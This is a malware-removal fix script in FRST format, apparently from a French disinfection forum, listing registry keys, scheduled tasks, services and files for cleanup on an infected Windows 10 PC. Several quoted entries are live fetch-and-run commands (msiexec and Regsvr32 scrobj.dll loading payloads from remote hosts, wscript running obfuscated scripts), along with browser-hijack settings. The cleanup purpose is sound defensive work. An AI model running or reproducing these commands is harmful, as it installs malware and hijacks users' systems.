start
CreateRestorePoint:
CloseProcesses:
HKLM-x32\...\RunOnce: [Torareb] => C:\windows\SysWoW64\wscript.exe /E:vbscript /B "C:\Users\UTILIS~1\AppData\Local\59A29D~1\Litahanon.dat"
HKU\S-1-5-21-3155621752-2881723954-1887277204-1001\...\Run: [Chromium] => c:\users\utilisateur\appdata\local\chromium\application\chrome.exe --auto-launch-at-startup --profile-directory=Default --restore-last-session --restore-last-session
HKU\S-1-5-21-3155621752-2881723954-1887277204-1001\...\Policies\system: [Shell] explorer.exe,msiexec.exe /i http://point.orangeiloveyou.com/?data=zDlkMj1LFUEdRWwxMUF3RjlSFdlQNjhSMdH8OWlXFTUxMUEyNc== /q
IFEO\DisplaySwitch.exe: [Debugger]
IFEO\taskmgr.exe: [Debugger]
GroupPolicy: Restriction
HKLM\Software\Microsoft\Internet Explorer\Main,Start Page = hxxps://fr.search.yahoo.com/yhs/web?hspart=elm&hsimp=yhs-001&type=hdr_s_17_14_wbf_secureddownload_17_10_ssg01¶m1=1¶m2=f%3D1%26b%3DIE%26cc%3Dfr%26pa%3Dhodor%26cd%3D2XzuyEtN2Y1L1QzutA0E0AtDyCyBzzyE0AtD0Fzy0BtA0C0AtN0D0Tzu0StCzytBtCtN1L2XzutAtFtBzztFyDtFyDtDtN1L1Czu1M1Q1CtAtBtFtAtFtCtFtCtN1L1G1B1V1N2Y1L1Qzu2StAzzyDtD0CtD0AtAtGtDtAtAzztGyDtC0BtCtGyDyC0ByBtGyBzz0EzyyCyByEtByEyCzyyE2QtN1M1F1B2Z1V1N2Y1L1Qzu2S0FyD0A0F0A0EtDyBtG0E0DtDtAtGyEzyyCyCtG0AtCtBzztG0EyEyBzy0B0DtDzzzzyC0CyE2QtN0A0LzuyE%26cr%3D1103384000%26a%3Dhdr_s_17_14_wbf_secureddownload_17_10_ssg01%26os_ver%3D10.0%26os%3DWindows%2B10%2BHome
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Start Page = hxxps://fr.search.yahoo.com/yhs/web?hspart=elm&hsimp=yhs-001&type=hdr_s_17_14_wbf_secureddownload_17_10_ssg01¶m1=1¶m2=f%3D1%26b%3DIE%26cc%3Dfr%26pa%3Dhodor%26cd%3D2XzuyEtN2Y1L1QzutA0E0AtDyCyBzzyE0AtD0Fzy0BtA0C0AtN0D0Tzu0StCzytBtCtN1L2XzutAtFtBzztFyDtFyDtDtN1L1Czu1M1Q1CtAtBtFtAtFtCtFtCtN1L1G1B1V1N2Y1L1Qzu2StAzzyDtD0CtD0AtAtGtDtAtAzztGyDtC0BtCtGyDyC0ByBtGyBzz0EzyyCyByEtByEyCzyyE2QtN1M1F1B2Z1V1N2Y1L1Qzu2S0FyD0A0F0A0EtDyBtG0E0DtDtAtGyEzyyCyCtG0AtCtBzztG0EyEyBzy0B0DtDzzzzyC0CyE2QtN0A0LzuyE%26cr%3D1103384000%26a%3Dhdr_s_17_14_wbf_secureddownload_17_10_ssg01%26os_ver%3D10.0%26os%3DWindows%2B10%2BHome
HKU\S-1-5-21-3155621752-2881723954-1887277204-1001\Software\Microsoft\Internet Explorer\Main,Start Page = hxxps://fr.search.yahoo.com/yhs/web?hspart=elm&hsimp=yhs-001&type=hdr_s_17_14_wbf_secureddownload_17_10_ssg01¶m1=1¶m2=f%3D1%26b%3DIE%26cc%3Dfr%26pa%3Dhodor%26cd%3D2XzuyEtN2Y1L1QzutA0E0AtDyCyBzzyE0AtD0Fzy0BtA0C0AtN0D0Tzu0StCzytBtCtN1L2XzutAtFtBzztFyDtFyDtDtN1L1Czu1M1Q1CtAtBtFtAtFtCtFtCtN1L1G1B1V1N2Y1L1Qzu2StAzzyDtD0CtD0AtAtGtDtAtAzztGyDtC0BtCtGyDyC0ByBtGyBzz0EzyyCyByEtByEyCzyyE2QtN1M1F1B2Z1V1N2Y1L1Qzu2S0FyD0A0F0A0EtDyBtG0E0DtDtAtGyEzyyCyCtG0AtCtBzztG0EyEyBzy0B0DtDzzzzyC0CyE2QtN0A0LzuyE%26cr%3D1103384000%26a%3Dhdr_s_17_14_wbf_secureddownload_17_10_ssg01%26os_ver%3D10.0%26os%3DWindows%2B10%2BHome
SearchScopes: HKLM -> DefaultScope {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL = hxxps://fr.search.yahoo.com/yhs/search?hspart=elm&hsimp=yhs-001&type=hdr_s_17_14_wbf_secureddownload_17_10_ssg01¶m1=1¶m2=f%3D4%26b%3DIE%26cc%3Dfr%26pa%3Dhodor%26cd%3D2XzuyEtN2Y1L1QzutA0E0AtDyCyBzzyE0AtD0Fzy0BtA0C0AtN0D0Tzu0StCzytBtCtN1L2XzutAtFtBzztFyDtFyDtDtN1L1Czu1M1Q1CtAtBtFtAtFtCtFtCtN1L1G1B1V1N2Y1L1Qzu2StAzzyDtD0CtD0AtAtGtDtAtAzztGyDtC0BtCtGyDyC0ByBtGyBzz0EzyyCyByEtByEyCzyyE2QtN1M1F1B2Z1V1N2Y1L1Qzu2S0FyD0A0F0A0EtDyBtG0E0DtDtAtGyEzyyCyCtG0AtCtBzztG0EyEyBzy0B0DtDzzzzyC0CyE2QtN0A0LzuyE%26cr%3D1103384000%26a%3Dhdr_s_17_14_wbf_secureddownload_17_10_ssg01%26os_ver%3D10.0%26os%3DWindows%2B10%2BHome&p={searchTerms}
SearchScopes: HKLM -> {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL = hxxps://fr.search.yahoo.com/yhs/search?hspart=elm&hsimp=yhs-001&type=hdr_s_17_14_wbf_secureddownload_17_10_ssg01¶m1=1¶m2=f%3D4%26b%3DIE%26cc%3Dfr%26pa%3Dhodor%26cd%3D2XzuyEtN2Y1L1QzutA0E0AtDyCyBzzyE0AtD0Fzy0BtA0C0AtN0D0Tzu0StCzytBtCtN1L2XzutAtFtBzztFyDtFyDtDtN1L1Czu1M1Q1CtAtBtFtAtFtCtFtCtN1L1G1B1V1N2Y1L1Qzu2StAzzyDtD0CtD0AtAtGtDtAtAzztGyDtC0BtCtGyDyC0ByBtGyBzz0EzyyCyByEtByEyCzyyE2QtN1M1F1B2Z1V1N2Y1L1Qzu2S0FyD0A0F0A0EtDyBtG0E0DtDtAtGyEzyyCyCtG0AtCtBzztG0EyEyBzy0B0DtDzzzzyC0CyE2QtN0A0LzuyE%26cr%3D1103384000%26a%3Dhdr_s_17_14_wbf_secureddownload_17_10_ssg01%26os_ver%3D10.0%26os%3DWindows%2B10%2BHome&p={searchTerms}
SearchScopes: HKLM -> {f7bb050c-e116-44da-89c2-6f2b68c54836} URL = hxxps://fr.search.yahoo.com/yhs/search?hspart=iry&hsimp=yhs-fullyhosted_003&type=wbf_secureddownload_17_10_ssg01¶m1=1¶m2=f%3D4%26b%3DIE%26cc%3Dfr%26pa%3Dwincy%26cd%3D2XzuyEtN2Y1L1QzutA0E0AtDyCyBzzyE0AtD0Fzy0BtA0C0AtN0D0Tzu0StCzzzyyEtN1L2XzutAtFtByBtFyEtFyDtBtN1L1Czu1ByCtN1L1G1B1V1N2Y1L1Qzu2SyDyDyDyBzz0ByDtBtGtAtB0F0EtG0D0BzzyEtGyC0E0D0FtG0ByC0C0BtC0A0F0F0CtC0F0C2QtN1M1F1B2Z1V1N2Y1L1Qzu2S0FyD0A0F0A0EtDyBtG0E0DtDtAtGyEzyyCyCtG0AtCtBzztG0EyEyBzy0B0DtDzzzzyC0CyE2QtN0A0LzuyE%26cr%3D679420279%26a%3Dwbf_secureddownload_17_10_ssg01%26os_ver%3D10.0%26os%3DWindows%2B10%2BHome&p={searchTerms}
SearchScopes: HKLM-x32 -> DefaultScope {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL = hxxps://fr.search.yahoo.com/yhs/search?hspart=elm&hsimp=yhs-001&type=hdr_s_17_14_wbf_secureddownload_17_10_ssg01¶m1=1¶m2=f%3D4%26b%3DIE%26cc%3Dfr%26pa%3Dhodor%26cd%3D2XzuyEtN2Y1L1QzutA0E0AtDyCyBzzyE0AtD0Fzy0BtA0C0AtN0D0Tzu0StCzytBtCtN1L2XzutAtFtBzztFyDtFyDtDtN1L1Czu1M1Q1CtAtBtFtAtFtCtFtCtN1L1G1B1V1N2Y1L1Qzu2StAzzyDtD0CtD0AtAtGtDtAtAzztGyDtC0BtCtGyDyC0ByBtGyBzz0EzyyCyByEtByEyCzyyE2QtN1M1F1B2Z1V1N2Y1L1Qzu2S0FyD0A0F0A0EtDyBtG0E0DtDtAtGyEzyyCyCtG0AtCtBzztG0EyEyBzy0B0DtDzzzzyC0CyE2QtN0A0LzuyE%26cr%3D1103384000%26a%3Dhdr_s_17_14_wbf_secureddownload_17_10_ssg01%26os_ver%3D10.0%26os%3DWindows%2B10%2BHome&p={searchTerms}
SearchScopes: HKLM-x32 -> {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL = hxxps://fr.search.yahoo.com/yhs/search?hspart=elm&hsimp=yhs-001&type=hdr_s_17_14_wbf_secureddownload_17_10_ssg01¶m1=1¶m2=f%3D4%26b%3DIE%26cc%3Dfr%26pa%3Dhodor%26cd%3D2XzuyEtN2Y1L1QzutA0E0AtDyCyBzzyE0AtD0Fzy0BtA0C0AtN0D0Tzu0StCzytBtCtN1L2XzutAtFtBzztFyDtFyDtDtN1L1Czu1M1Q1CtAtBtFtAtFtCtFtCtN1L1G1B1V1N2Y1L1Qzu2StAzzyDtD0CtD0AtAtGtDtAtAzztGyDtC0BtCtGyDyC0ByBtGyBzz0EzyyCyByEtByEyCzyyE2QtN1M1F1B2Z1V1N2Y1L1Qzu2S0FyD0A0F0A0EtDyBtG0E0DtDtAtGyEzyyCyCtG0AtCtBzztG0EyEyBzy0B0DtDzzzzyC0CyE2QtN0A0LzuyE%26cr%3D1103384000%26a%3Dhdr_s_17_14_wbf_secureddownload_17_10_ssg01%26os_ver%3D10.0%26os%3DWindows%2B10%2BHome&p={searchTerms}
SearchScopes: HKLM-x32 -> {f7bb050c-e116-44da-89c2-6f2b68c54836} URL = hxxps://fr.search.yahoo.com/yhs/search?hspart=iry&hsimp=yhs-fullyhosted_003&type=wbf_secureddownload_17_10_ssg01¶m1=1¶m2=f%3D4%26b%3DIE%26cc%3Dfr%26pa%3Dwincy%26cd%3D2XzuyEtN2Y1L1QzutA0E0AtDyCyBzzyE0AtD0Fzy0BtA0C0AtN0D0Tzu0StCzzzyyEtN1L2XzutAtFtByBtFyEtFyDtBtN1L1Czu1ByCtN1L1G1B1V1N2Y1L1Qzu2SyDyDyDyBzz0ByDtBtGtAtB0F0EtG0D0BzzyEtGyC0E0D0FtG0ByC0C0BtC0A0F0F0CtC0F0C2QtN1M1F1B2Z1V1N2Y1L1Qzu2S0FyD0A0F0A0EtDyBtG0E0DtDtAtGyEzyyCyCtG0AtCtBzztG0EyEyBzy0B0DtDzzzzyC0CyE2QtN0A0LzuyE%26cr%3D679420279%26a%3Dwbf_secureddownload_17_10_ssg01%26os_ver%3D10.0%26os%3DWindows%2B10%2BHome&p={searchTerms}
SearchScopes: HKU\S-1-5-21-3155621752-2881723954-1887277204-1001 -> DefaultScope {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL = hxxps://fr.search.yahoo.com/yhs/search?hspart=elm&hsimp=yhs-001&type=hdr_s_17_14_wbf_secureddownload_17_10_ssg01¶m1=1¶m2=f%3D4%26b%3DIE%26cc%3Dfr%26pa%3Dhodor%26cd%3D2XzuyEtN2Y1L1QzutA0E0AtDyCyBzzyE0AtD0Fzy0BtA0C0AtN0D0Tzu0StCzytBtCtN1L2XzutAtFtBzztFyDtFyDtDtN1L1Czu1M1Q1CtAtBtFtAtFtCtFtCtN1L1G1B1V1N2Y1L1Qzu2StAzzyDtD0CtD0AtAtGtDtAtAzztGyDtC0BtCtGyDyC0ByBtGyBzz0EzyyCyByEtByEyCzyyE2QtN1M1F1B2Z1V1N2Y1L1Qzu2S0FyD0A0F0A0EtDyBtG0E0DtDtAtGyEzyyCyCtG0AtCtBzztG0EyEyBzy0B0DtDzzzzyC0CyE2QtN0A0LzuyE%26cr%3D1103384000%26a%3Dhdr_s_17_14_wbf_secureddownload_17_10_ssg01%26os_ver%3D10.0%26os%3DWindows%2B10%2BHome&p={searchTerms}
SearchScopes: HKU\S-1-5-21-3155621752-2881723954-1887277204-1001 -> {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL = hxxps://fr.search.yahoo.com/yhs/search?hspart=elm&hsimp=yhs-001&type=hdr_s_17_14_wbf_secureddownload_17_10_ssg01¶m1=1¶m2=f%3D4%26b%3DIE%26cc%3Dfr%26pa%3Dhodor%26cd%3D2XzuyEtN2Y1L1QzutA0E0AtDyCyBzzyE0AtD0Fzy0BtA0C0AtN0D0Tzu0StCzytBtCtN1L2XzutAtFtBzztFyDtFyDtDtN1L1Czu1M1Q1CtAtBtFtAtFtCtFtCtN1L1G1B1V1N2Y1L1Qzu2StAzzyDtD0CtD0AtAtGtDtAtAzztGyDtC0BtCtGyDyC0ByBtGyBzz0EzyyCyByEtByEyCzyyE2QtN1M1F1B2Z1V1N2Y1L1Qzu2S0FyD0A0F0A0EtDyBtG0E0DtDtAtGyEzyyCyCtG0AtCtBzztG0EyEyBzy0B0DtDzzzzyC0CyE2QtN0A0LzuyE%26cr%3D1103384000%26a%3Dhdr_s_17_14_wbf_secureddownload_17_10_ssg01%26os_ver%3D10.0%26os%3DWindows%2B10%2BHome&p={searchTerms}
BHO: Pas de nom -> {B4F3A835-0E21-4959-BA22-42B3008E02FF} -> Pas de fichier
FF Extension: (SimilarWeb) - C:\Users\Utilisateur\AppData\Roaming\Firefox\Firefox\Profiles\4na6boxu.default\Extensions\@DA3566E2-F709-11E5-8E87-A604BC8E7F8B.xpi [2017-04-22] [non signé]
FF Extension: (HSearch) - C:\Users\Utilisateur\AppData\Roaming\Firefox\Firefox\Profiles\4na6boxu.default\Extensions\@E97YHOMI-FU8L-IM23-VUT9-RVDZT7M8XL8H.xpi [2017-04-19] [non signé]
FF Extension: (FF Adr) - C:\Users\Utilisateur\AppData\Roaming\Firefox\Firefox\Profiles\4na6boxu.default\Extensions\@H99KV4DO-UCCF-9PFO-9ZLK-8RRP4FVOKD9O.xpi [2017-04-19] [non signé]
FF SearchPlugin: C:\Users\Utilisateur\AppData\Roaming\Firefox\Firefox\Profiles\4na6boxu.default\searchplugins\startsearch.xml [2017-04-19]
CHR HomePage: Default -> hxxp://search.babylon.com/?AF=110393&babsrc=HP_ss&mntrId=86ce6e40000000000000ec55f916895b
CHR StartupUrls: Default -> "hxxps://news.google.fr/nwshp?hl=fr&authuser=0&ei=4KI3VPnbLsH_aM3QgOAL&ved=0CAUQqS4oAw&ar=1412935994","hxxp://isearch.omiga-plus.com/?type=hp&ts=1415869638&from=tugs&uid=HitachiXHTS545050B9A300_110206PBN403M7F2LZ9EX","hxxp://www.dregol.com/?f=7&a=drg_coinis_15_16&cd=2XzuyEtN2Y1L1Qzu0E0CyDyD0FzytCyCzzzyyD0ByC0EyEtDtN0D0Tzu0StCtCzyzytN1L2XzutAtFtCtDtFtBtFtDtN1L1CzutCyEtBzytDyD1V1TtN1L1G1B1V1N2Y1L1Qzu2StAzyyCzz0F0A0CtDtGtAyE0BzztG0B0C0CzytGyDtByDtBtGtCtB0ByByEyEyEyCyCyD0Fzz2QtN1M1F1B2Z1V1N2Y1L1Qzu2SyC0Ezy0FtB0CzyyEtG0DyB0A0DtGyEtB0AzytG0BzyzztDtG0EtCyBtB0CyD0A0EtByBtAyE2QtN0A0LzuyEtN1B2Z1V1T1S1NzuyBtDtD&cr=138414757&ir=","hxxps://fr.search.yahoo.com/yhs/web?hspart=iry&hsimp=yhs-fullyhosted_003&type=wncy_ir_16_05¶m1=1¶m2=f%3D7%26b%3DChrome%26cc%3Dfr%26pa%3DWincy%26cd%3D2XzuyEtN2Y1L1Qzu0E0CyDyD0FzytCyCzzzyyD0ByC0EyEtDtN0D0Tzu0StCyEzyzztN1L2XzutAtFtCzztFtDtFtCtN1L1Czu1BtAtN1L1G1B1V1N2Y1L1Qzu2SyCzz0CyB0F0D0F0EtGtAyCyDzytG0A0F0E0CtGyEtAyB0BtGyDtCzy0EyC0CyByCzyyEtC0A2QtN1M1F1B2Z1V1N2Y1L1Qzu2SyC0Ezy0FtB0CzyyEtG0DyB0A0DtGyEtB0AzytG0BzyzztDtG0EtCyBtB0CyD0A0EtByBtAyE2QtN0A0LzuyE%26cr%3D219861980%26a%3Dwncy_ir_16_05%26os_ver%3D10.0%26os%3DWindows%2B10%2BHome"
CHR HKLM\...\Chrome\Extension: [elmkjjfkkchohaaoljobaffjeedcoocj] - hxxps://clients2.google.com/service/update2/crx
CHR HKU\S-1-5-21-3155621752-2881723954-1887277204-1001\SOFTWARE\Google\Chrome\Extensions\...\Chrome\Extension: [elmkjjfkkchohaaoljobaffjeedcoocj] - hxxps://clients2.google.com/service/update2/crx
CHR HKLM-x32\...\Chrome\Extension: [elmkjjfkkchohaaoljobaffjeedcoocj] - hxxps://clients2.google.com/service/update2/crx
HKU\S-1-5-21-3155621752-2881723954-1887277204-1001\...\StartMenuInternet\ChromeHTML: -> C:\Program Files (x86)\Dohat\Application\chrome.exe (Google Inc.)
R2 3DM; C:\Users\Utilisateur\AppData\Local\3DM\Kitty.dll [754688 2017-04-18] (kitty.exe) [Fichier non signé]
R2 FirefoxU; C:\Program Files (x86)\Firefox\bin\FirefoxUpdate.exe [117424 2017-04-19] ()
R2 GameExplorerUpdate; C:\ProgramData\Microsoft\Windows\GameExplorer\Resources.dll [113664 2017-04-19] () [Fichier non signé]
R2 iSafeService; C:\Program Files (x86)\Elex-tech\YAC\iSafeSvc.exe [131024 2016-12-02] (Elex do Brasil Participações Ltda)
R1 iSafeKrnl; C:\Program Files (x86)\Elex-tech\YAC\iSafeKrnl.sys [262344 2016-05-23] (Elex do Brasil Participações Ltda)
S3 iSafeKrnlBoot; C:\windows\System32\DRIVERS\iSafeKrnlBoot.sys [55056 2016-05-23] (Elex do Brasil Participações Ltda)
S1 iSafeKrnlKit; C:\Program Files (x86)\Elex-tech\YAC\iSafeKrnlKit.sys [110112 2016-05-23] (Elex do Brasil Participações Ltda)
R1 iSafeKrnlMon; C:\Program Files (x86)\Elex-tech\YAC\iSafeKrnlMon.sys [52440 2016-05-23] (Elex do Brasil Participações Ltda)
R1 iSafeKrnlR3; C:\Program Files (x86)\Elex-tech\YAC\iSafeKrnlR3.sys [103904 2016-05-23] (Elex do Brasil Participações Ltda)
R1 iSafeNetFilter; C:\windows\System32\DRIVERS\iSafeNetFilter.sys [52392 2016-05-19] (Elex do Brasil Participações Ltda)
2017-04-25 13:02 - 2017-04-25 13:02 - 00003544 _____ C:\windows\System32\Tasks\T0528
2017-04-25 12:57 - 2017-04-25 12:57 - 00000000 ____D C:\windows\system32\log
2017-04-25 12:57 - 2017-04-25 12:57 - 00000000 ____D C:\Users\Utilisateur\AppData\Roaming\Elex-tech
2017-04-25 12:57 - 2017-04-25 12:57 - 00000000 ____D C:\Program Files (x86)\Elex-tech
2017-04-25 12:57 - 2017-04-25 12:57 - 00000000 _____ C:\windows\SysWOW64\22
2017-04-25 12:57 - 2016-05-23 04:41 - 00055056 _____ (Elex do Brasil Participações Ltda) C:\windows\system32\Drivers\iSafeKrnlBoot.sys
2017-04-25 12:57 - 2016-05-19 08:42 - 00052392 _____ (Elex do Brasil Participações Ltda) C:\windows\system32\Drivers\iSafeNetFilter.sys
2017-04-21 18:46 - 2017-04-25 12:57 - 00000000 _____ C:\windows\SysWOW64\11
2017-04-21 18:46 - 2017-04-21 18:46 - 00000000 _____ C:\windows\SysWOW64\33
2017-04-19 19:48 - 2017-04-25 08:42 - 00000000 ____D C:\Users\Utilisateur\AppData\LocalLow\Mozilla
2017-04-19 19:48 - 2017-04-19 19:48 - 00000000 ____D C:\Users\Utilisateur\AppData\Roaming\Mozilla
2017-04-19 19:48 - 2017-04-19 19:48 - 00000000 ____D C:\Users\Utilisateur\AppData\Roaming\Firefox
2017-04-19 19:48 - 2017-04-19 19:48 - 00000000 ____D C:\Users\Utilisateur\AppData\Local\Firefox
2017-04-19 19:47 - 2017-04-25 12:56 - 00002080 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Mozilla Firefox.lnk
2017-04-19 19:47 - 2017-04-19 19:47 - 00000000 ____D C:\Program Files (x86)\Firefox
2017-04-19 19:46 - 2017-04-19 19:46 - 00000000 ____D C:\Users\Utilisateur\AppData\Local\Dohat
2017-04-19 19:46 - 2017-04-19 19:46 - 00000000 ____D C:\Program Files (x86)\Dohat
2017-04-19 19:39 - 2017-04-26 21:30 - 00000000 _____ C:\Users\Public\Documents\report.dat
2017-04-19 19:39 - 2017-04-25 17:44 - 00000000 _____ C:\Users\Public\Documents\temp.dat
2017-04-19 19:39 - 2017-04-19 19:39 - 00000000 ____D C:\Users\Utilisateur\AppData\Local\3DM
2017-04-19 19:34 - 2017-04-25 12:56 - 00000000 ____D C:\Program Files (x86)\BiaoJi
2017-04-14 07:29 - 2017-04-14 07:30 - 00003686 _____ C:\windows\System32\Tasks\Windows-WoShiBeiYongDe
2017-04-14 07:29 - 2017-04-14 07:30 - 00003664 _____ C:\windows\System32\Tasks\PowerWord-SCT-JT
2017-04-14 07:28 - 2017-04-14 07:28 - 00000000 ____D C:\Users\Utilisateur\AppData\Roaming\SSMgre
2017-03-09 15:07 - 2017-03-09 15:07 - 6420480 _____ () C:\Program Files (x86)\GUTDF00.tmp
C:\Windows\Tasks\{59A29D11-2B7D-EF79-7731-79A12E7767BF}.job
C:\ProgramData\{84224141-0E60-CB87-88A6-55C512E4DE0B}
C:\ProgramData\Microsoft\Windows\GameExplorer
C:\Users\Utilisateur\AppData\Local\59a29d112b7def79773179a12e7767bf
c:\users\utilisateur\appdata\local\chromium
C:\Users\Utilisateur\AppData\Local\3DM
HKU\S-1-5-21-3155621752-2881723954-1887277204-1001\...\ChromeHTML: -> C:\Program Files (x86)\Dohat\Application\chrome.exe (Google Inc.)
Task: {1223F1FE-5C88-4A80-B1DD-59F3C63A3B8E} - System32\Tasks\T0528 => msiexec.exe /i hxxp://point.chcyhqc.com/anzhaungoimism3.dat /q
Task: {3F1971B3-5489-4AF9-8677-E57499AD67A8} - System32\Tasks\{59A29D11-2B7D-EF79-7731-79A12E7767BF} => C:\Users\Utilisateur\AppData\Local\59a29d112b7def79773179a12e7767bf\SyncVersion.exe [2013-04-25] ()
Task: {B06F375B-6B27-4521-AE4F-2A88818536B8} - System32\Tasks\Windows-WoShiBeiYongDe => Regsvr32.exe /s /i:hxxp://u76wtn6.x.incapdns.net/?data=zDlkMj1LFUEdRWwxMUF3RjlSFdlQNjhSMdH8OWlXFTUxMUEyNc== scrobj.dll
Task: {B8CD0287-4AED-438D-A2C4-8D2177709378} - System32\Tasks\Yahoo! Powered nelod => Wscript.exe "C:\ProgramData\{84224141-0E60-CB87-88A6-55C512E4DE0B}\tene.txt" "68747470733a2f2f7761676e672e636f6d" "433a5c50726f6772616d446174615c7b38343232343134312d304536302d434238372d383841362d3535433531324534444530427d5c6661726f736f" "433a5c50726f6772616d446174615c7b38343232343134312d304536302d434238372d3838 (l'élément de données a 80 caractères en plus).
Task: {C2A16CC5-A6F9-4199-9BA9-C189DE1FCE6A} - System32\Tasks\{1929777C-09B8-4044-8F4F-861B83482C63} => pcalua.exe -a C:\Users\Utilisateur\AppData\Local\{ED60DB3C-C9C8-B784-A450-926C80386EF4}\uninst.exe -c -P=/Uninstall /s /noun /DelSelfDir
Task: {C7A20B30-EC14-45DA-80D2-BC3364BB2C89} - System32\Tasks\PowerWord-SCT-JT => Regsvr32.exe /s /i:hxxp://point.lbyhbyc.com/?data=zDlkMj1LFUEdRWwxMUF3RjlSFdlQNjhSMdH8OWlXFTUxMUEyNc== scrobj.dll
Task: C:\windows\Tasks\Yahoo! Powered nelod.job => Wscript.exe C:\ProgramData\{84224141-0E60-CB87-88A6-55C512E4DE0B}\tene.txt
Task: C:\windows\Tasks\{59A29D11-2B7D-EF79-7731-79A12E7767BF}.job => C:\Users\UTILIS~1\AppData\Local\59A29D~1\SYNCVE~1.EXE
Shortcut: C:\Users\Utilisateur\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Google Chrome.lnk -> C:\Program Files (x86)\Dohat\Application\chrome.exe (Google Inc.)
Shortcut: C:\Users\Utilisateur\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Google Chrome.lnk -> C:\Program Files (x86)\Dohat\Application\chrome.exe (Google Inc.)
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome.lnk -> C:\Program Files (x86)\Dohat\Application\chrome.exe (Google Inc.)
ShortcutWithArgument: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Booking.com.lnk -> C:\Program Files (x86)\HP\Shared\WizLink.exe () -> hxxp://secure.rezserver.com/sdk/v1/LinkFwd?refid=7684&destination=booking&refclickid=square
FirewallRules: [{2527AFF4-06CD-4ED7-B10E-DE710BA27F15}] => (Allow) C:\Program Files (x86)\Dohat\Application\chrome.exe
FirewallRules: [{26743504-AA27-4B27-B18F-1A19FA7F4981}] => (Allow) C:\Program Files (x86)\Firefox\bin\FirefoxUpdate.exe
FirewallRules: [{E3A0C901-537E-42AD-B2B5-9D3D8DA3690C}] => (Allow) C:\Program Files (x86)\Firefox\Firefox.exe
EmptyTemp:
end